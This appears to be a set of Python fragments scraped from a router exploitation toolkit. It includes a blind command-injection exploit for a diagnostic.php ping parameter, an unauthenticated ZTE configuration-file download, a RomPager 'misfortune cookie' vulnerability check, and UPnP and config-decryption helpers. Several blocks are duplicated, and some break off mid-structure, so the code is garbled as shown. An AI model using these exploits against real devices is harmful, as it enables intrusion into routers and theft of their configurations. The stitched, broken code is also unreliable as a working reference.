Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def do_run(self, e):
url = "http://%s:%s/diagnostic.php" % (self.host, self.port)
payload = {'act': 'ping',
'dst': '& %s&' % self.command}
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
}
try:
print_warning("Sending exploit")
response = requests.post(url, headers=headers, data=payload, timeout=60)
if "OK" in response.text:
print_success("output not available this is blind injection")
else:
print_error("could not find marker in response, exploit failed")
except requests.Timeout:
print_error("timeout")
except requests.ConnectionError:
print_error("exploit failed")
Exploit()
def do_run(self, e):
url = "http://%s:%s/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch" % (self.host, self.port)
try:
print_warning("Sending exploit")
# It took me longer than necessary to find out how to use Content-Disposition properly
# Always set stream=True otherwise you may not get the whole file
response = requests.post(url, files={'config': ''}, timeout=60, stream=True)
if response.status_code == 200:
if response.headers.get('Content-Disposition'):
print_success("got file in response")
print_info("Writing file to config.bin")
core.io.writefile(response.content, "config.bin")
print_success("you can now use decryptors/zte/config_zlib_decompress to extract XML")
except requests.ConnectionError as e:
print_error("connection error %s" % e)
except requests.Timeout:
print_error("timeout")
Exploit()
def check(self):
user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers = {'User-Agent': user_agent,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
'Connection': 'keep-alive',
'Accept-Encoding': 'gzip, deflate',
'Cache-Control': 'no-cache',
'Cookie': 'C107373883=/omg1337hax'}
target = 'http://' + self.host + ":" + self.port + '/blabla'
try:
response = requests.get(target, headers=headers, timeout=60)
if response.status_code != 404:
print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code)
print_warning("Device is not running RomPager")
else:
if 'server' in response.headers:
server = response.headers.get('server')
if re.search('RomPager', server) is not None:
print_success("Got RomPager! Server:%s" % server)
if re.search('omg1337hax', response.text) is not None:
print_success("Device is vulnerable to misfortune cookie")
return True
else:
print_failed("Test didn't pass.")
print_warning("Device MAY still be vulnerable")
return False
else:
print_failed("RomPager not detected, device is running: %s " % server)
return False
else:
self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
except Exception:
pass
# Only bind to this interface
if self.interface is not None:
print_info("Binding to interface: " + self.interface)
self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,
struct.pack("%ds" % (len(self.interface) + 1,), self.interface))
self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,
struct.pack("%ds" % (len(self.interface) + 1,), self.interface))
try:
self.ssock.bind(('', self.port))
except Exception:
print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ")
try:
self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq)
except Exception:
print_warning("failed to join multicast group")
except Exception:
print_error("failed to initialize UPNP sockets")
return False
return True
try:
response = requests.get(target, headers=headers, timeout=60)
if response.status_code != 404:
print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code)
print_warning("Device is not running RomPager")
else:
if 'server' in response.headers:
server = response.headers.get('server')
if re.search('RomPager', server) is not None:
print_success("Got RomPager! Server:%s" % server)
if re.search('omg1337hax', response.text) is not None:
print_success("Device is vulnerable to misfortune cookie")
return True
else:
print_failed("Test didn't pass.")
print_warning("Device MAY still be vulnerable")
return False
else:
print_failed("RomPager not detected, device is running: %s " % server)
return False
else:
print_failed("Not running RomPager")
return False
except requests.exceptions.Timeout:
print_error("Timeout!")
except requests.exceptions.ConnectionError:
print_error("No route to host")
def show_complete_host_info(self, index, fp=False):
# na = 'N/A'
service_keys = ['controlURL', 'eventSubURL', 'serviceId', 'SCPDURL', 'fullName']
if not fp:
fp = sys.stdout
if index < 0 or index >= len(self.enum_hosts):
fp.write('Specified host does not exist...\n')
return
try:
host_info = self.enum_hosts[index]
if not host_info['dataComplete']:
print_warning(
"Cannot show all host info because I don't have it all yet. Try running 'host info %d' first...\n" % index)
fp.write('Host name: %s\n' % host_info['name'])
fp.write('UPNP XML File: %s\n\n' % host_info['xml_file'])
fp.write('\nDevice information:\n')
for deviceName, deviceStruct in host_info['deviceList'].items():
fp.write('\tDevice Name: %s\n' % deviceName)
for serviceName, serviceStruct in deviceStruct['services'].items():
fp.write('\t\tService Name: %s\n' % serviceName)
for key in service_keys:
fp.write('\t\t\t%s: %s\n' % (key, serviceStruct[key]))
fp.write('\t\t\tServiceActions:\n')
for actionName, actionStruct in serviceStruct['actions'].items():
fp.write('\t\t\t\t%s\n' % actionName)
for argName, argStruct in actionStruct['arguments'].items():
fp.write('\t\t\t\t\t%s \n' % argName)
# Only bind to this interface
if self.interface is not None:
print_info("Binding to interface: " + self.interface)
self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,
struct.pack("%ds" % (len(self.interface) + 1,), self.interface))
self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,
struct.pack("%ds" % (len(self.interface) + 1,), self.interface))
try:
self.ssock.bind(('', self.port))
except Exception:
print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ")
try:
self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq)
except Exception:
print_warning("failed to join multicast group")
except Exception:
print_error("failed to initialize UPNP sockets")
return False
return True
# Only bind to this interface
if self.interface is not None:
print_info("Binding to interface: " + self.interface)
self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,
struct.pack("%ds" % (len(self.interface) + 1,), self.interface))
self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE,
struct.pack("%ds" % (len(self.interface) + 1,), self.interface))
try:
self.ssock.bind(('', self.port))
except Exception:
print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ")
try:
self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq)
except Exception:
print_warning("failed to join multicast group")
except Exception:
print_error("failed to initialize UPNP sockets")
return False
return True
def de_cfg(self, data):
"""Get raw config data from raw /compressed/encrypted & comressed"""
g = self.smart_guess(data)
if g == self.CFG_RAW:
print_warning('File is :\tnot compressed, not encrypted')
return g, data
elif g == self.CFG_LZO:
print_warning('File is :\tcompressed, not encrypted')
return g, self.decompress_cfg(data)
elif g == self.CFG_ENC:
print_warning('File is :\tcompressed, encrypted')
return g, self.decompress_cfg(self.decrypt_cfg(data))
def check_dependencies():
dependency_list = open("./requirements.txt", 'rt', encoding='utf-8')
while True:
dependency = dependency_list.readline()
if not dependency:
break
dependency = dependency[:dependency.find('==')]
found = importlib.util.find_spec(dependency)
if found is None:
print_warning(dependency + " not found some modules may not work!")
dependency_list.close()